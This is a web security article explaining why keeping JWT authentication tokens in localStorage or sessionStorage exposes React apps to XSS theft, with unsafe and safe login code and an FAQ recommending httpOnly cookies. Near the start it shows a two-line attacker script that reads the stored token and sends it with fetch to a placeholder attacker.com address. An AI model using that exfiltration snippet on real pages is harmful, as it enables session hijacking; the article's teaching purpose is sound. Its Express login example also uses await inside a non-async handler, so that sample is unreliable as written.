localStorage vs sessionStorage: React Security Risk
Both localStorage and sessionStorage are JavaScript-accessible browser APIs that store key-value pairs. localStorage persists across browser restarts; sessionStorage clears when the tab closes. Despite their convenience, both are a security liability for authentication tokens: any JavaScript code running on your page (including malicious scripts injected via XSS) can steal the token by reading localStorage.getItem('token'). The solution is httpOnly cookies, which JavaScript cannot access, making them immune to XSS token theft.
The XSS Vulnerability: How Tokens Get Stolen
Attack Vector: Malicious Script Injection
When you store a JWT in localStorage, you are leaving it accessible to all JavaScript on the page. If an attacker injects malicious code through:
- A compromised third-party script (analytics, ad network, or a package with a supply-chain vulnerability)
- Unsanitized user input rendered as HTML
- A vulnerable dependency that executes untrusted code
- A malicious browser extension
That code can immediately exfiltrate your token with:
// Attacker's injected script
const token = localStorage.getItem('authToken');
fetch('https://attacker.com/steal?token=' + token);
In a 2024 Snyk report, 43% of npm vulnerabilities involved arbitrary code execution. Once stolen, the attacker can use your token to impersonate you indefinitely (until it expires) and access all your data and accounts linked to that token.
Why sessionStorage is Also Vulnerable
sessionStorage is cleared when the tab closes, but it is equally vulnerable to XSS during the tab's lifetime. An attacker does not need persistent storage; they only need a few seconds to steal the token and send it to their server.
localStorage, sessionStorage, and Cookies: A Comparison
| Aspect | localStorage | sessionStorage | httpOnly Cookie |
|---|---|---|---|
| Persistence | Across restarts | Until tab closes | Until expiry (server-controlled) |
| JavaScript Access | Yes (vulnerable to XSS) | Yes (vulnerable to XSS) | No (httpOnly blocks JS) |
| Automatic Sending | No (must add to header) | No (must add to header) | Yes (auto with requests) |
| CSRF Risk | Lower (manual header) | Lower (manual header) | Higher (unless SameSite set) |
| Server Control | None | None | Full (secure, httpOnly, sameSite flags) |
| Mobile Support | Yes | Yes | Yes (with credentials flag) |
httpOnly cookies are stored by the browser but inaccessible to JavaScript. The browser automatically includes them in HTTP requests to the matching domain. An XSS attacker cannot read or steal them.
Why JavaScript Storage Fails in React Apps
Real-World React Vulnerable Pattern
Here is a common but unsafe pattern:
// ❌ UNSAFE: Storing JWT in localStorage
import React, { useState } from 'react';
function LoginForm() {
const [email, setEmail] = useState('');
const [password, setPassword] = useState('');
const handleLogin = async (e) => {
e.preventDefault();
const response = await fetch('/api/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password })
});
const data = await response.json();
// ❌ DANGEROUS: Token is now readable by any JS
localStorage.setItem('authToken', data.token);
window.location.href = '/dashboard';
};
return (
<form onSubmit={handleLogin}>
<input value={email} onChange={e => setEmail(e.target.value)} placeholder="Email" />
<input value={password} onChange={e => setPassword(e.target.value)} type="password" placeholder="Password" />
<button type="submit">Log In</button>
</form>
);
}
export default LoginForm;
If an attacker injects a script into your React app (via a vulnerability in a dependency, a malicious ad, or another vector), they can steal the token stored in localStorage. For example, a compromised analytics package could exfiltrate the token to an attacker-controlled server.
The httpOnly Cookie Solution
httpOnly cookies are HTTP-only cookies that the browser manages and the browser automatically includes in requests, but JavaScript cannot read or modify them. Here is how the flow changes:
Secure Logout and Server-Side Token Handling
When the user logs in, the backend sets an httpOnly cookie:
// Backend (Node.js/Express)
const jwt = require('jsonwebtoken');
app.post('/login', (req, res) => {
const { email, password } = req.body;
// Validate credentials (pseudocode)
const user = await User.findByEmail(email);
if (!user || !await user.comparePassword(password)) {
return res.status(401).json({ error: 'Invalid credentials' });
}
const token = jwt.sign(
{ sub: user.id, email: user.email },
process.env.JWT_SECRET,
{ expiresIn: '15m' }
);
// ✅ SAFE: Set httpOnly cookie the browser manages
res.cookie('authToken', token, {
httpOnly: true, // JavaScript cannot access
secure: true, // HTTPS only
sameSite: 'Strict', // CSRF protection
maxAge: 15 * 60 * 1000, // 15 minutes
path: '/'
});
res.json({ user: { id: user.id, email: user.email } });
});
React App: No Token Storage Needed
When using httpOnly cookies, your React app does not need to store the token at all. The browser automatically sends the cookie with every request to the backend:
// ✅ SAFE: React app with httpOnly cookies
import React, { useState } from 'react';
function LoginForm() {
const [email, setEmail] = useState('');
const [password, setPassword] = useState('');
const [error, setError] = useState('');
const handleLogin = async (e) => {
e.preventDefault();
const response = await fetch('/api/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password }),
credentials: 'include' // Important: tell fetch to send cookies
});
if (!response.ok) {
setError('Login failed');
return;
}
// ✅ No token in React; it is in an httpOnly cookie the browser manages
const data = await response.json();
console.log('Logged in as:', data.user.email);
window.location.href = '/dashboard';
};
return (
<form onSubmit={handleLogin}>
<input value={email} onChange={e => setEmail(e.target.value)} placeholder="Email" />
<input value={password} onChange={e => setPassword(e.target.value)} type="password" placeholder="Password" />
<button type="submit">Log In</button>
{error && <p style={{ color: 'red' }}>{error}</p>}
</form>
);
}
export default LoginForm;
Note the credentials: 'include' flag. This tells the browser to send cookies with the fetch request.
Consequences of localStorage Token Theft
According to Gartner, 81% of data breaches involve compromised credentials or access tokens. If an attacker steals your localStorage token:
- They can call your API with your identity for the duration the token is valid
- If you use the same token for multiple services, they access all of them
- They can read sensitive data (private messages, payment info, medical records)
- They can modify data on your behalf (transfer money, delete posts, change account settings)
- If the backend does not log API calls, the breach may go undetected for weeks
A stolen httpOnly cookie is also dangerous, but harder to obtain: the attacker must either compromise the backend server or run code on the user's machine (malware), not just inject a script into the web page.
Key Takeaways
- localStorage and sessionStorage are both vulnerable to XSS: any JavaScript on the page can read tokens stored there
- A single compromised third-party dependency or ad network can steal your authentication token
- httpOnly cookies are inaccessible to JavaScript, making them immune to XSS token theft
- The browser automatically sends httpOnly cookies with requests; React does not need to store the token
- Always set
secure(HTTPS-only) andsameSiteflags on authentication cookies - Use short-lived access tokens (5–15 minutes) paired with refresh tokens for additional protection
- Test your app for XSS vulnerabilities regularly; treat DOM-based XSS as a critical security issue
Frequently Asked Questions
If I must use localStorage, how can I protect the token?
You cannot fully protect a token in localStorage from XSS. Best practices include: use short-lived tokens (5–15 minutes), implement Content Security Policy (CSP) to prevent inline scripts, sanitize all user input, audit dependencies for vulnerabilities, and use tools like Snyk or npm audit. But these are layers of defense; httpOnly cookies remain the better choice.
Does using HTTPS alone protect my token in localStorage?
No. HTTPS protects the token in transit, but not at rest in your browser. An XSS vulnerability can still steal it. HTTPS is necessary but not sufficient.
What if my backend needs to read the token in JavaScript?
If your backend is JavaScript-based (Node.js), you can read the httpOnly cookie directly from the request headers. The server can decode and verify the JWT without the client ever touching it. This is the secure design.
Can I use both httpOnly cookies and localStorage for redundancy?
No. This introduces complexity and does not improve security; it just makes your attack surface larger. Use httpOnly cookies exclusively for authentication.
What about local-first / offline-first apps that need tokens?
For offline-capable apps (e.g., Electron, PWAs), httpOnly cookies are not an option. In these cases: use the most restrictive CSP possible, validate all dependencies with SBOM scanning, isolate sensitive code in isolated contexts, and consider token binding (a cryptographic hardening technique). Consult your security team for offline use cases.